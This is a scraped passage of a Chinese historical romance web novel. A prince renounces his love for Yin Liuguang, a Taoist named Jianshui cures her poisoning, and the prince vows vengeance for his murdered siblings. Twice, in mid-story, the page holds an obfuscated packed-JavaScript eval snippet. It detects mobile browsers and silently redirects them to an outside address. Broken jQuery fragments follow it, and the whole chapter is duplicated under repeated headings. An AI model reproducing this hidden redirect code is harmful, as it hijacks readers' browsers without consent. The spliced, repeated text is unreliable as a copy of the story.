商遗思继续道:“我也知道,你生母早亡,生父忽视,嫡母不喜,在家中过得孤苦无依,所以即便你有什么喜欢的东西,在确定你能得到它之前,绝不会让旁人看穿自己的心意,所以你总是插科打诨,不止在脸上戴着面具,心里也戴着。”
“在我面前,你也戴着。”
殷流光有些狼狈地别过脸:“殿下,不要再说了。”
她以为她将自己的心意隐藏得很好,那是她对自己的保护,可是何时,何时商遗思已经将她看得这般透彻了?
商遗思略带痛苦地闭了闭眸,道:“昨日我卜的那一卦,是下下签。”
“殷流光,我跟你是一样的,我本以为这份心意可以一直隐瞒下去,但这些日子,你我交集太多,我已经瞒不住了。”
“你受伤,我会担心,你被人欺侮,我会愤怒,你在我面前一颦一笑,我会想要贪恋永远……这对你我来说,都并非好事。”
“我要做的事太危险,不允许有私情……若非离我太近,你也不会被苏胥下毒。”
殷流光睁大双眼:“我被苏胥下毒的事……你知道了?!”
“查你这些日子都跟谁接触过,都有什么异常,并不算难。”商遗思顿了顿,将目光从交握的手上移至殷流光的眼睛。
“你来宝华楼找我,本来是为了说这件事吧。”
商遗思已经全都查了出来,她也没什么否认的必要:“当时情况紧急,殿下你又被公主下药设局,我便想着,等宝华楼这件事结束了再同你讲也是一样,只是没想到这毒发作得这么快……苏胥那厮竟然骗我,明明只能支撑半个多月,却告诉我可以有一个月的时间,实在可恶!”
商遗思道:“这件事你不必担心,你的解药,我定会帮你讨来。”
“只是我此刻想告诉你的不是这件事。”他的目光深邃如一眼望不尽的深渊,莫名让殷流光觉得悲哀。
“我为你取小字叫做狸珠,你可知我的小字叫什么?”
“望尘。”殷流光立刻道,看见商遗思微怔的神色,她补充了一句:“在宝华楼我们离开的时候,太子这样唤了你一声,我听到了。”
“原来是这样。”他轻声自嘲道:“遗思、断念、忘尘……若说名字是谶语,这般孤绝无亲缘就是我的谶语。”
他道:“距离我太近的人,都不会有好下场,我的弟妹表面上死于意外的火灾,实则是因为我在战场上引吐落惧怕,在朝堂上惹太子与广平侯忌惮,所以……才被他们联手害死。”
他的嗓音颤抖:“我在陇幽的亲卫当日随我反叛吐落,战死十有七八。”
“你一向最擅长保命求生,我要走的路是条一意孤行的路,所以,趁着还来得及,殷流光,不要再插手我的事了,你想要的一切,鬼市之主的位子,千金万金,我都允你。”
“但这份情意,就让它到此为止吧。”
45. 第 46 章
房中安静了片刻,殷流光忽然笑了。
她以手支颐,瞧着商遗思:“好啊。”
“殿下是要做大事的人,我怎么敢以私情动摇殿下的心。”她伸了个懒腰:“殿下说了这么多,无非只有一句话,你我今生绝无可能。”
她嗤笑一声:“只不过,殿下也真是想多了。”
她转头看向商遗思,上上下下将他那张如玉雕的脸扫了个遍。
“我的确有点儿喜欢殿下,但不过是爱慕你这张皮囊,整个长安城里最俊俏的公子哥,都不及殿下有风味。”
“原本只是想着若是帮殿下做这么多事,有朝一日能与殿下春风一度,也算是不枉此生,但既然殿下觉得我碍眼了,我往后自然不会再出现在殿下面前。”
她答应得干脆利落,仿佛在谈论别人的事,素白的脸上没什么血色,瞳仁里却一派倔强。
这不就是他想要的最好的结局么,为何看到殷流光这般模样,他心中的五脏六腑都像是被狠狠搅动了一般,窒息感铺天盖地,几乎让他喘不过气。
商遗思仓促地站起身,又恢复了往日里那么冷淡的模样,背对着殷流光道:“如此,最好不过。”
殷流光咳了几声,又道:“只是毕竟苏胥给我下毒是为了威胁我害你,殿下打算怎么处置他?”
商遗思道:“人已经带来道观了,他对你下毒手,本王自然不会轻饶他。”
……
青雾山与凝华山不同,凝华山宽而缓,青雾山高而陡,常年云雾缭绕,如同避世仙境。
殷流光立在一处峭石边,瞧着远处风景。
“我这小道观不比皇家道观,建在最陡峭贫瘠的背阴之处,连松树都长得比别处矮小些,娘子这是在瞧什么,瞧得这样入迷?”
一个年轻含笑的声音传来,殷流光循声转身,便瞧见个穿着青色道袍的年轻男子,他生了双脉脉含情的桃花眼,道士的衣裳穿在他身上,比锦衣华服还夺人心神。
殷流光道:“哦,那边有猴子打架,我路过忍不住多看了几眼。”
道士愣了下,忍不住哈哈大笑起来,而后眼风一扫,桃花眼轻眯,笑道:“若是我没看错,方才是娘子扔了手中糕点过去,引得它们争来争去吧。”
他走过来,扫了眼殷流光手中半块玉露团:“这玉露团是晋王殿下特意命默玄从城内快马加鞭送来的,我听说娘子爱吃点心,为何要割爱扔给猴子?”
殷流光淡淡道:“可能因为我现在已经不爱吃了吧。”她转身看向他:“道长便是这几日为我清毒的刘道长吗?”
青袍道士颔首:“正是在下,娘子是怎么认出来的?娘子醒后似乎并没有见过我。”
“我听说姑娘天赋异禀,生有神眼,难道是这双眼睛……”他微微倾身,眼睛发亮,凑近了些盯着殷流光的眼睛瞧。
“这很难吗?”殷流光有点不耐烦了:“你身上有曲水香的味道,若不是经常跟晋王见面,怎么会沾染这种气息?”
“我昏迷了一天一夜,整整十二时辰,想必你也被晋王拘着在我床榻旁守了这么久,沾染上他的气息,自然理所应当,方才你一出现,我就闻到了。”
道士表情诧异,抬起袖子仔细地嗅了嗅,疑惑地自言自语:“我怎么什么都没有闻到……”
殷流光已经被此人搅得失了赏景的兴致,转身就想走,但被道士眼疾手快地拦住。
“哎——狸珠娘子莫急,我来是有事相求,听说你在长安鬼市做生意,不知我有没有这个机会,也能跟你做一笔交易?”
“报酬嘛,好说。”
有钱不赚是傻瓜,殷流光停住脚步:“道长想做什么生意?”
“别叫我道长了,多见外,叫我鉴水好了。”鉴水笑眯眯道,正要张口说话,忽然远处传来商遗思的声音。
“刘鉴水,本王看你风疾好了不少,你家中若是知道这个好消息,定会欢欣不已吧。”
被这么一威胁,鉴水懒洋洋地叹口气,对着殷流光耸耸肩:“你说这人奇不奇怪?”
“明明是他要跟你割席做陌路人,怎么还将你看得这般紧,旁人说句话都都要被他阴阳怪气?”
殷流光眸色平静,也无所谓道:“是啊,他管得未免太宽了。”
她将剩下的半块糕也扔了出去,一只小猴子抢到,兴高采烈地抱着半块玉露团跳跃不见,她转过身,恢复了平常的神情,脸上挂着笑,笑意却不达眼底。
她跟着鉴水一同走到商遗思面前,鉴水先发问了:“殿下,你关在我后厢房里的那茶商,可审出什么结果了?”
“我这观里正缺好茶招待客人,不如你顺便让他给我这儿上供几包好茶叶来。”
商遗思置若罔闻:“你这里鲜有人至,除了我谁会来?本王不挑,山泉水即可。”他虽然跟鉴水说着话,但余光分了一抹,瞥向殷流光。
方才殷流光拿糕点喂猴子他都瞧见了,想起之前在自己府上,殷流光吃到楚媪做的点心时快活肆意的模样,不禁心中有些涩然,强逼着自己压了下去。
他收回目光,从袖中掏出一个小盒子,递给鉴水:“这是解药,你看看有没有问题。”
鉴水接了过去,点头:“我回去研究一下,若是没问题,再给狸珠娘子送来。”
“劳烦你了,鉴水。”商遗思语气很是郑重。
鉴水微愣,挠了挠头:“你怎么突然这么客气……怪不习惯的,行,我知道了,保证还你一个完好无虞的狸珠娘子。”
鉴水走后,庭中的气氛顿时沉默下来。
片刻寂静后,商遗思道:“你中毒颇深,这些日子应当静养,崖边风大,往后少去。”
“殿下关怀,流光明白了。”殷流光弯膝行礼,就如同最寻常的下属那般知进退,守礼节。
那只聪明狡黠的狐狸,最懂得自我保护,绝不会让自己受伤,所以她选择听他的话,退回她的巢穴。
商遗思敛眸颔首:“等你的毒清了,我会派默玄送你下山。往后在长安城中行走,切记莫要好奇心太重,尤其涉及东宫与长公主的事情,不要再碰。”
她点头,有些嘲讽地笑了下:“长安风大雨急,我已经感受到了,其实我这几天也在想,我到底应不应该留在长安。”
商遗思语气微顿,片刻后,他颔首:“若是能离开长安,对你来说并非坏事。”
“是啊,毕竟殷家在这里,我私逃离家,总有天可能会被殷府的下人们,或是殷流灵碰到,知意的香料铺子生意也越做越红火,前些日子她曾跟我说过,若是想再做得大些,最好是能够往西走一趟,亲自盘下一条西域的商路来。”
山中寒冷,此刻又下起细细密密的雪花,落在殷流光的雪白狐裘上。
商遗思身形微动,下意识想替她拂去,僵了片刻,隐在袖中的手终究是一动未动。
“外头风大,别站在雪里。”
他让开位置,待殷流光走上庭阶,商遗思续上方才的话头:“西域这几年算是稳定,但盛产香料的这几个小国彼此间常有摩擦,除此外那里沙盗横行,经常有商人货物被抢。”
他从腰上解下块墨色玉佩:“但你若是想去,便带着这块玉佩,去陇幽都护府,要多少护卫跟从,只管跟他讲。”
殷流光并不客气,接下了玉佩,冷不丁噗嗤一笑:“看来殿下很喜欢我啊?”
商遗思呼吸一滞,漫天风雪飘进廊下,冰冷的气息涌进鼻腔。
他不知道她是何意,刚刚听到她或许要走,此后在长安城哪怕只是在暗中悄悄看一眼她也没有可能,脑子里便有根弦蓦然崩坏。
殷流光似笑非笑,继续道:“若非如此喜欢,怎么会刚一听到我要走,就已经为我谋划了百步,若是我再在长安城待下去,殿下日日能看到我这张脸,怕是总有天会把持不住。”
她叹道:“所以,我决定了,我还是走吧,走的远远的,再也不回来。”
她望向商遗思,扬起笑:“但答应了我的千金,临走前殿下可要记得送到我的府上啊。”
……
那天夜里,鉴水来找殷流光,告诉她解药没问题。
吃下后又调养了两三天,日日喝苦的舌头麻木的药,终于在元夕前一日,鉴水为殷流光诊脉,长舒口气:“狸珠娘子,你的毒已经彻底解了。”
殷流光收回胳膊揉了揉,微笑道:“多谢鉴水道长。”
“我去了陇幽后,会记得为你寻找你说的人的。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986137|193637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那日他所说的交易,便是听说她买卖做得广,尤其认识很多西域商人,他从前还未做道士时,游历过西域,在那里与一胡商之女生情。
后来他仓促回了中原,连句告别都来不及同她讲,他也托人寻过,却被告知那家人已经不住在原来的地方。
他听说狸珠娘子可以帮忙寻人,而且寻得极准,所以才来问她。
原本只是想托她问问她的胡商朋友,若是能找到人,就替他送件信物,也算是了却这桩前缘,但没想到殷流光竟然不日要启程前往陇幽,这下更是将希望寄托在了她身上。
鉴水拱手而拜:“那就拜托狸珠娘子了。”
他放下手,又促狭一笑:“你一走,晋王如今看着什么事也没有,背后里指不定多伤心呢。”
“怎么会?”殷流光捧着药碗,淡淡道:“殿下对我的喜欢,只是一时兴趣,要不了多久就会把我忘了的。”
鉴水摇头:“他啊,表面上看起来什么事都不在乎,其实他心里特别重感情,什么人要是走进了他心里,就一辈子都住在那里面了。”
“说句不该说的,要不是他如此重情,怎么会为情所累,弟弟妹妹死了快五年了,还是日日夜夜都放不下,非要用当个孤家寡人来惩罚自己当年没能救得了弟妹。”
烛火微摇,殷流光沉默片刻,瞧着那摇曳的烛火莞尔一笑:“是么?那跟晋王殿下正相反,我恰恰是个最不看重感情的人。”
“这世上比情重要的东西,太多了,我只要有很多很多的金银财宝,做个无忧无虑的快活神仙,哪怕一辈子没有所谓的情也可以。”
她说得决绝,但鉴水的笑容却变幻莫测,桃花眼仿佛透过她的身躯,看穿了她全部的内心:“如果你真的能做到那样,那么倒是比我更要适合做个道士了。”
第二日元夕,鉴水走进东厢房的时候,瞧见商遗思站在书桌前,正在看信。
他倚靠着门道:“怎么?宝华楼之事了结了?”
商遗思看完,将信折起放在火烛上慢慢烧了:“太子将人证都护在东宫里,呈上的奏折里更是证据齐全,圣人震怒,责令长公主闭门思过,长公主一党但凡上书为她求情的,都贬的贬,斥的斥。”
“哎呦我这可是茅草盖的房子,稍不留神就烧起来了,你小心点!”鉴水急急上前从商遗思手中夺去烧了一半的信,拿到门外烧成灰才端着烛台进来,放回原位。
他继续道:“这下太子可威风了,这几年跟长公主打擂台,他也就斗赢这么一次,要不是靠着你,真不知道他这太子还能当多久。”
他啧啧两声,见商遗思又蘸了墨提笔写回信,大约是给在京城的家臣写信部署之后的事情,他忍不住叹了口气:“当时沈遥那一刀害得你旧疾发作,我累个半死才把你救回来,不知费了多少我辛苦收齐的珍稀药材,你这条命可金贵着呢,真就这么要把自己折腾进去?”
“要不你再想想?别这么极端,不行从皇族旁支里选一个培养?你当摄政王,怎么样也不会养歪。”
商遗思笔锋未停,宣纸上铁画银钩,颇有金戈铁马的气势,他平静道:“你放着长安第一公子不当要当道士的时候,我没劝过你,如今我要做的事,你也别劝我。”
“这能一样吗?!”鉴水立刻抬高了声调:“我这顶多只是背叛家族期望,你可是要颠覆……皇室啊!”最后那几个字他说的小声,又趋近商遗思,低声道:“而且把你的命赔进去,有什么用?你弟妹不会复生,族人也不会,你全家血脉断绝,最后能得到什么?”
商遗思搁下笔,挪开镇尺,吹干墨痕,将信塞进信封里。
“我死后,见到遗爱跟遗梦,可以告诉他们,害死他们的凶手,我都已经手刃,兄长……为他们报仇了。”他的喉结滚动,嗓音里透着孤绝。
“他们活着的时候,为了支持我带领族人回到长安的愿望,付出了太多,吃了很多苦,可我答应他们的都没能做到,如今他们死了,我想弥补哪怕一丁点都不能,我常常想,那日大火烧起来的时候,他们会不会恨我,恨我杀了太多人,才招致这么多怨恨业债,却要他们来还……”
他攥着信封的手暴出青筋,一字一顿:“叶家人欠我商家的,我都会一笔笔讨回来。”
46.第 46 章
房中安静了片刻,殷流光忽然笑了。
她以手支颐,瞧着商遗思:“好啊。”
“殿下是要做大事的人,我怎么敢以私情动摇殿下的心。”她伸了个懒腰:“殿下说了这么多,无非只有一句话,你我今生绝无可能。”
她嗤笑一声:“只不过,殿下也真是想多了。”
她转头看向商遗思,上上下下将他那张如玉雕的脸扫了个遍。
“我的确有点儿喜欢殿下,但不过是爱慕你这张皮囊,整个长安城里最俊俏的公子哥,都不及殿下有风味。”
“原本只是想着若是帮殿下做这么多事,有朝一日能与殿下春风一度,也算是不枉此生,但既然殿下觉得我碍眼了,我往后自然不会再出现在殿下面前。”
她答应得干脆利落,仿佛在谈论别人的事,素白的脸上没什么血色,瞳仁里却一派倔强。
这不就是他想要的最好的结局么,为何看到殷流光这般模样,他心中的五脏六腑都像是被狠狠搅动了一般,窒息感铺天盖地,几乎让他喘不过气。
商遗思仓促地站起身,又恢复了往日里那么冷淡的模样,背对着殷流光道:“如此,最好不过。”
殷流光咳了几声,又道:“只是毕竟苏胥给我下毒是为了威胁我害你,殿下打算怎么处置他?”
商遗思道:“人已经带来道观了,他对你下毒手,本王自然不会轻饶他。”
……
青雾山与凝华山不同,凝华山宽而缓,青雾山高而陡,常年云雾缭绕,如同避世仙境。
殷流光立在一处峭石边,瞧着远处风景。
“我这小道观不比皇家道观,建在最陡峭贫瘠的背阴之处,连松树都长得比别处矮小些,娘子这是在瞧什么,瞧得这样入迷?”
一个年轻含笑的声音传来,殷流光循声转身,便瞧见个穿着青色道袍的年轻男子,他生了双脉脉含情的桃花眼,道士的衣裳穿在他身上,比锦衣华服还夺人心神。
殷流光道:“哦,那边有猴子打架,我路过忍不住多看了几眼。”
道士愣了下,忍不住哈哈大笑起来,而后眼风一扫,桃花眼轻眯,笑道:“若是我没看错,方才是娘子扔了手中糕点过去,引得它们争来争去吧。”
他走过来,扫了眼殷流光手中半块玉露团:“这玉露团是晋王殿下特意命默玄从城内快马加鞭送来的,我听说娘子爱吃点心,为何要割爱扔给猴子?”
殷流光淡淡道:“可能因为我现在已经不爱吃了吧。”她转身看向他:“道长便是这几日为我清毒的刘道长吗?”
青袍道士颔首:“正是在下,娘子是怎么认出来的?娘子醒后似乎并没有见过我。”
“我听说姑娘天赋异禀,生有神眼,难道是这双眼睛……”他微微倾身,眼睛发亮,凑近了些盯着殷流光的眼睛瞧。
“这很难吗?”殷流光有点不耐烦了:“你身上有曲水香的味道,若不是经常跟晋王见面,怎么会沾染这种气息?”
“我昏迷了一天一夜,整整十二时辰,想必你也被晋王拘着在我床榻旁守了这么久,沾染上他的气息,自然理所应当,方才你一出现,我就闻到了。”
道士表情诧异,抬起袖子仔细地嗅了嗅,疑惑地自言自语:“我怎么什么都没有闻到……”
殷流光已经被此人搅得失了赏景的兴致,转身就想走,但被道士眼疾手快地拦住。
“哎——狸珠娘子莫急,我来是有事相求,听说你在长安鬼市做生意,不知我有没有这个机会,也能跟你做一笔交易?”
“报酬嘛,好说。”
有钱不赚是傻瓜,殷流光停住脚步:“道长想做什么生意?”
“别叫我道长了,多见外,叫我鉴水好了。”鉴水笑眯眯道,正要张口说话,忽然远处传来商遗思的声音。
“刘鉴水,本王看你风疾好了不少,你家中若是知道这个好消息,定会欢欣不已吧。”
被这么一威胁,鉴水懒洋洋地叹口气,对着殷流光耸耸肩:“你说这人奇不奇怪?”
“明明是他要跟你割席做陌路人,怎么还将你看得这般紧,旁人说句话都都要被他阴阳怪气?”
殷流光眸色平静,也无所谓道:“是啊,他管得未免太宽了。”
她将剩下的半块糕也扔了出去,一只小猴子抢到,兴高采烈地抱着半块玉露团跳跃不见,她转过身,恢复了平常的神情,脸上挂着笑,笑意却不达眼底。
她跟着鉴水一同走到商遗思面前,鉴水先发问了:“殿下,你关在我后厢房里的那茶商,可审出什么结果了?”
“我这观里正缺好茶招待客人,不如你顺便让他给我这儿上供几包好茶叶来。”
商遗思置若罔闻:“你这里鲜有人至,除了我谁会来?本王不挑,山泉水即可。”他虽然跟鉴水说着话,但余光分了一抹,瞥向殷流光。
方才殷流光拿糕点喂猴子他都瞧见了,想起之前在自己府上,殷流光吃到楚媪做的点心时快活肆意的模样,不禁心中有些涩然,强逼着自己压了下去。
他收回目光,从袖中掏出一个小盒子,递给鉴水:“这是解药,你看看有没有问题。”
鉴水接了过去,点头:“我回去研究一下,若是没问题,再给狸珠娘子送来。”
“劳烦你了,鉴水。”商遗思语气很是郑重。
鉴水微愣,挠了挠头:“你怎么突然这么客气……怪不习惯的,行,我知道了,保证还你一个完好无虞的狸珠娘子。”
鉴水走后,庭中的气氛顿时沉默下来。
片刻寂静后,商遗思道:“你中毒颇深,这些日子应当静养,崖边风大,往后少去。”
“殿下关怀,流光明白了。”殷流光弯膝行礼,就如同最寻常的下属那般知进退,守礼节。
那只聪明狡黠的狐狸,最懂得自我保护,绝不会让自己受伤,所以她选择听他的话,退回她的巢穴。
商遗思敛眸颔首:“等你的毒清了,我会派默玄送你下山。往后在长安城中行走,切记莫要好奇心太重,尤其涉及东宫与长公主的事情,不要再碰。”
她点头,有些嘲讽地笑了下:“长安风大雨急,我已经感受到了,其实我这几天也在想,我到底应不应该留在长安。”
商遗思语气微顿,片刻后,他颔首:“若是能离开长安,对你来说并非坏事。”
“是啊,毕竟殷家在这里,我私逃离家,总有天可能会被殷府的下人们,或是殷流灵碰到,知意的香料铺子生意也越做越红火,前些日子她曾跟我说过,若是想再做得大些,最好是能够往西走一趟,亲自盘下一条西域的商路来。”
山中寒冷,此刻又下起细细密密的雪花,落在殷流光的雪白狐裘上。
商遗思身形微动,下意识想替她拂去,僵了片刻,隐在袖中的手终究是一动未动。
“外头风大,别站在雪里。”
他让开位置,待殷流光走上庭阶,商遗思续上方才的话头:“西域这几年算是稳定,但盛产香料的这几个小国彼此间常有摩擦,除此外那里沙盗横行,经常有商人货物被抢。”
他从腰上解下块墨色玉佩:“但你若是想去,便带着这块玉佩,去陇幽都护府,要多少护卫跟从,只管跟他讲。”
殷流光并不客气,接下了玉佩,冷不丁噗嗤一笑:“看来殿下很喜欢我啊?”
商遗思呼吸一滞,漫天风雪飘进廊下,冰冷的气息涌进鼻腔。
他不知道她是何意,刚刚听到她或许要走,此后在长安城哪怕只是在暗中悄悄看一眼她也没有可能,脑子里便有根弦蓦然崩坏。
殷流光似笑非笑,继续道:“若非如此喜欢,怎么会刚一听到我要走,就已经为我谋划了百步,若是我再在长安城待下去,殿下日日能看到我这张脸,怕是总有天会把持不住。”
她叹道:“所以,我决定了,我还是走吧,走的远远的,再也不回来。”
她望向商遗思,扬起笑:“但答应了我的千金,临走前殿下可要记得送到我的府上啊。”
……
那天夜里,鉴水来找殷流光,告诉她解药没问题。
吃下后又调养了两三天,日日喝苦的舌头麻木的药,终于在元夕前一日,鉴水为殷流光诊脉,长舒口气:“狸珠娘子,你的毒已经彻底解了。”
殷流光收回胳膊揉了揉,微笑道:“多谢鉴水道长。”
“我去了陇幽后,会记得为你寻找你说的人的。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987762|193637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那日他所说的交易,便是听说她买卖做得广,尤其认识很多西域商人,他从前还未做道士时,游历过西域,在那里与一胡商之女生情。
后来他仓促回了中原,连句告别都来不及同她讲,他也托人寻过,却被告知那家人已经不住在原来的地方。
他听说狸珠娘子可以帮忙寻人,而且寻得极准,所以才来问她。
原本只是想托她问问她的胡商朋友,若是能找到人,就替他送件信物,也算是了却这桩前缘,但没想到殷流光竟然不日要启程前往陇幽,这下更是将希望寄托在了她身上。
鉴水拱手而拜:“那就拜托狸珠娘子了。”
他放下手,又促狭一笑:“你一走,晋王如今看着什么事也没有,背后里指不定多伤心呢。”
“怎么会?”殷流光捧着药碗,淡淡道:“殿下对我的喜欢,只是一时兴趣,要不了多久就会把我忘了的。”
鉴水摇头:“他啊,表面上看起来什么事都不在乎,其实他心里特别重感情,什么人要是走进了他心里,就一辈子都住在那里面了。”
“说句不该说的,要不是他如此重情,怎么会为情所累,弟弟妹妹死了快五年了,还是日日夜夜都放不下,非要用当个孤家寡人来惩罚自己当年没能救得了弟妹。”
烛火微摇,殷流光沉默片刻,瞧着那摇曳的烛火莞尔一笑:“是么?那跟晋王殿下正相反,我恰恰是个最不看重感情的人。”
“这世上比情重要的东西,太多了,我只要有很多很多的金银财宝,做个无忧无虑的快活神仙,哪怕一辈子没有所谓的情也可以。”
她说得决绝,但鉴水的笑容却变幻莫测,桃花眼仿佛透过她的身躯,看穿了她全部的内心:“如果你真的能做到那样,那么倒是比我更要适合做个道士了。”
第二日元夕,鉴水走进东厢房的时候,瞧见商遗思站在书桌前,正在看信。
他倚靠着门道:“怎么?宝华楼之事了结了?”
商遗思看完,将信折起放在火烛上慢慢烧了:“太子将人证都护在东宫里,呈上的奏折里更是证据齐全,圣人震怒,责令长公主闭门思过,长公主一党但凡上书为她求情的,都贬的贬,斥的斥。”
“哎呦我这可是茅草盖的房子,稍不留神就烧起来了,你小心点!”鉴水急急上前从商遗思手中夺去烧了一半的信,拿到门外烧成灰才端着烛台进来,放回原位。
他继续道:“这下太子可威风了,这几年跟长公主打擂台,他也就斗赢这么一次,要不是靠着你,真不知道他这太子还能当多久。”
他啧啧两声,见商遗思又蘸了墨提笔写回信,大约是给在京城的家臣写信部署之后的事情,他忍不住叹了口气:“当时沈遥那一刀害得你旧疾发作,我累个半死才把你救回来,不知费了多少我辛苦收齐的珍稀药材,你这条命可金贵着呢,真就这么要把自己折腾进去?”
“要不你再想想?别这么极端,不行从皇族旁支里选一个培养?你当摄政王,怎么样也不会养歪。”
商遗思笔锋未停,宣纸上铁画银钩,颇有金戈铁马的气势,他平静道:“你放着长安第一公子不当要当道士的时候,我没劝过你,如今我要做的事,你也别劝我。”
“这能一样吗?!”鉴水立刻抬高了声调:“我这顶多只是背叛家族期望,你可是要颠覆……皇室啊!”最后那几个字他说的小声,又趋近商遗思,低声道:“而且把你的命赔进去,有什么用?你弟妹不会复生,族人也不会,你全家血脉断绝,最后能得到什么?”
商遗思搁下笔,挪开镇尺,吹干墨痕,将信塞进信封里。
“我死后,见到遗爱跟遗梦,可以告诉他们,害死他们的凶手,我都已经手刃,兄长……为他们报仇了。”他的喉结滚动,嗓音里透着孤绝。
“他们活着的时候,为了支持我带领族人回到长安的愿望,付出了太多,吃了很多苦,可我答应他们的都没能做到,如今他们死了,我想弥补哪怕一丁点都不能,我常常想,那日大火烧起来的时候,他们会不会恨我,恨我杀了太多人,才招致这么多怨恨业债,却要他们来还……”
他攥着信封的手暴出青筋,一字一顿:“叶家人欠我商家的,我都会一笔笔讨回来。”